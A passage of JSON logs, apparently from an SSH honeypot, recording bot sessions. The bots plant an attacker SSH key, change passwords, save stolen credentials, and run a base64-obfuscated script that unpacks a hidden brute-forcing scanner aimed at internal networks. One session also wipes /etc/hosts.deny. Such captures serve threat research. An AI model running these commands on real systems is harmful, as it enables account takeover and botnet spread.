\"123\\nEh1eHS9VWk2a\\nEh1eHS9VWk2a\\n\"|passwd"},{"seq":7,"at":"2026-08-25T20:00:24.748991+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T20:00:24.749608+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T20:00:25.267500+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T20:00:26.226548+00:00","kind":"output","latency_ms":958,"data":"15888 4120 9321 174 2545 0"},{"seq":11,"at":"2026-08-25T20:00:26.744140+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T20:00:27.645732+00:00","kind":"output","latency_ms":901,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:12 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T20:00:28.163861+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T20:00:28.164503+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-25T20:00:28.683018+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T20:00:28.683602+00:00","kind":"output","latency_ms":null,"data":" 20:00:28 up 5 days, 16:50, 0 user, load average: 0.03, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T20:00:29.203223+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T20:00:29.203576+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T20:00:29.721786+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T20:00:29.722163+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T20:00:30.240442+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T20:00:30.240953+00:00","kind":"output","latency_ms":null,"data":"top - 20:00:30 up 5 days, 16:50, 0 user, load average: 0.03, 0.02, 0.03\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T20:00:30.759477+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T20:00:30.760038+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T20:00:31.278891+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T20:00:31.279544+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T20:00:31.796033+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T20:00:31.796725+00:00","kind":"output","latency_ms":null,"data":"mega"},{"seq":29,"at":"2026-08-25T20:00:32.317333+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T20:00:33.363167+00:00","kind":"output","latency_ms":1046,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel: 1\nModel: 1\nModel: 1\nModel: 1\nModel: 1\nModel: 1\nModel: 1"},{"seq":31,"at":"2026-08-25T20:00:33.878596+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T20:00:34.597624+00:00","kind":"output","latency_ms":718,"data":"24G"},{"seq":33,"at":"2026-08-25T20:00:36.231125+00:00","kind":"input","latency_ms":null,"data":"echo \"mega 123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T20:00:36.746515+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T20:00:37.248505+00:00","kind":"output","latency_ms":501,"data":""},{"seq":36,"at":"2026-08-25T20:00:38.574465+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T20:00:39.199531+00:00","kind":"output","latency_ms":624,"data":"1"},{"seq":38,"at":"2026-08-25T20:00:39.730856+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T20:00:40.498125+00:00","kind":"output","latency_ms":778,"data":"1"},{"seq":40,"at":"2026-08-25T20:00:41.016402+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T20:00:41.532885+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T20:00:42.212965+00:00","kind":"output","latency_ms":678,"data":"1"},{"seq":43,"at":"2026-08-25T20:00:42.730774+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T20:00:43.337383+00:00","kind":"output","latency_ms":606,"data":"1"},{"seq":45,"at":"2026-08-25T20:00:43.857064+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T20:00:44.473001+00:00","kind":"output","latency_ms":616,"data":""},{"seq":47,"at":"2026-08-25T20:00:52.318899+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T20:00:52.319379+00:00","kind":"output","latency_ms":null,"data":"mega"}],"credentials":[{"username":"mega","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"5ab389f2-2ab3-4d81-b9ca-0b4d742dd8ff","name":"lunar-orderly-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"187.174.238.116","src_port":48254,"username":"noah","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":368,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T20:00:06.348189+00:00","ended_at":"2026-08-25T20:00:06.453476+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3214,"events":[{"seq":1,"at":"2026-08-25T19:59:36.378791+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T19:59:36.743797+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T19:59:40.695010+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T19:59:40.695313+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T19:59:41.062577+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nP6VTmVOF13VA\\nP6VTmVOF13VA\"|passwd|bash"},{"seq":6,"at":"2026-08-25T19:59:41.427776+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nP6VTmVOF13VA\\nP6VTmVOF13VA\\n\"|passwd"},{"seq":7,"at":"2026-08-25T19:59:41.793685+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T19:59:41.794150+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T19:59:42.161670+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T19:59:43.427063+00:00","kind":"output","latency_ms":1265,"data":"15888 2123 10345 1282 180 2438"},{"seq":11,"at":"2026-08-25T19:59:43.794769+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T19:59:45.122487+00:00","kind":"output","latency_ms":1327,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T19:59:45.489339+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T19:59:45.489816+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T19:59:45.856793+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T19:59:45.857725+00:00","kind":"output","latency_ms":null,"data":" 19:59:45 up 5 days, 16:49, 0 user, load average: 0.34, 0.37, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T19:59:46.225897+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T19:59:46.226528+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T19:59:46.592792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T19:59:46.593221+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T19:59:46.960075+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T19:59:46.960899+00:00","kind":"output","latency_ms":null,"data":"top - 19:59:46 up 5 days, 16:49, 0 user, load average: 0.34, 0.37, 0.31\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T19:59:47.329036+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T19:59:47.329455+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T19:59:47.697230+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T19:59:47.697770+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T19:59:48.064581+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T19:59:48.065634+00:00","kind":"output","latency_ms":null,"data":"noah"},{"seq":29,"at":"2026-08-25T19:59:48.431779+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T19:59:49.106132+00:00","kind":"output","latency_ms":673,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T19:59:49.473727+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T19:59:50.323484+00:00","kind":"output","latency_ms":848,"data":"24G"},{"seq":33,"at":"2026-08-25T19:59:51.635447+00:00","kind":"input","latency_ms":null,"data":"echo \"noah password\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T19:59:52.002051+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T19:59:52.457380+00:00","kind":"output","latency_ms":454,"data":""},{"seq":36,"at":"2026-08-25T19:59:53.278949+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T19:59:53.911824+00:00","kind":"output","latency_ms":632,"data":""},{"seq":38,"at":"2026-08-25T19:59:54.280658+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T19:59:54.792201+00:00","kind":"output","latency_ms":510,"data":""},{"seq":40,"at":"2026-08-25T19:59:55.161694+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T19:59:55.529755+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T19:59:56.534161+00:00","kind":"output","latency_ms":1005,"data":""},{"seq":43,"at":"2026-08-25T19:59:56.904866+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T19:59:57.390011+00:00","kind":"output","latency_ms":484,"data":""},{"seq":45,"at":"2026-08-25T19:59:57.760782+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T19:59:58.251048+00:00","kind":"output","latency_ms":491,"data":""},{"seq":47,"at":"2026-08-25T20:00:06.349188+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T20:00:06.350948+00:00","kind":"output","latency_ms":null,"data":"noah"}],"credentials":[{"username":"noah","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"363f34e1-fc48-42df-a921-01e431b5c77e","name":"wandering-coastal-squirrel","protocol":"ssh","channel_kind":"exec","src_ip":"124.156.173.135","src_port":51870,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":673,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T19:55:06.836657+00:00","ended_at":"2026-08-25T19:55:07.041931+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3981,"events":[{"seq":1,"at":"2026-08-25T19:54:27.338074+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T19:54:28.009697+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T19:54:33.233044+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T19:54:33.234025+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T19:54:33.906690+00:00","kind":"input","latency_ms":null,"data":"echo \"root:yhr90Ge8Aqz2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T19:54:34.579498+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T19:54:34.700544+00:00","kind":"output","latency_ms":792,"data":""},{"seq":8,"at":"2026-08-25T19:54:35.252444+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T19:54:35.253733+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T19:54:35.929130+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T19:54:37.039038+00:00","kind":"output","latency_ms":1112,"data":"15888 2310 13578 0 0 0"},{"seq":12,"at":"2026-08-25T19:54:37.712648+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T19:54:38.390449+00:00","kind":"output","latency_ms":677,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T19:54:39.064053+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T19:54:39.064619+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T19:54:39.738599+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T19:54:39.739025+00:00","kind":"output","latency_ms":null,"data":" 19:54:39 up 5 days, 16:44, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T19:54:40.412047+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T19:54:40.412370+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T19:54:41.084903+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T19:54:41.085735+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T19:54:41.759286+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T19:54:41.759935+00:00","kind":"output","latency_ms":null,"data":"top - 19:54:41 up 5 days, 16:44, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T19:54:42.433212+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T19:54:42.433503+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T19:54:43.106862+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T19:54:43.113794+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T19:54:43.779456+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T19:54:43.780101+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T19:54:44.453835+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T19:54:45.427286+00:00","kind":"output","latency_ms":972,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T19:54:46.100828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T19:54:46.679963+00:00","kind":"output","latency_ms":577,"data":"24G"},{"seq":34,"at":"2026-08-25T19:54:48.757758+00:00","kind":"input","latency_ms":null,"data":"echo \"root Dev@1234\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T19:54:49.430439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T19:54:50.601724+00:00","kind":"output","latency_ms":1170,"data":""},{"seq":37,"at":"2026-08-25T19:54:51.828939+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T19:54:52.548915+00:00","kind":"output","latency_ms":719,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-25T19:54:53.222781+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T19:54:53.925904+00:00","kind":"output","latency_ms":702,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-25T19:54:54.602499+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T19:54:55.269711+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T19:54:56.105915+00:00","kind":"output","latency_ms":835,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-25T19:54:56.780857+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T19:54:57.348907+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-25T19:54:58.024926+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T19:54:58.507116+00:00","kind":"output","latency_ms":483,"data":""},{"seq":48,"at":"2026-08-25T19:55:06.840987+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-25T19:55:06.843220+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Dev@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"8cb965bd-ccac-4fcb-a146-078a680bfd99","name":"emerald-austere-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"172.190.51.254","src_port":45350,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":100,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T19:52:48.798094+00:00","ended_at":"2026-08-25T19:52:48.815144+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3356,"events":[{"seq":1,"at":"2026-08-25T19:52:23.569079+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T19:52:23.638783+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 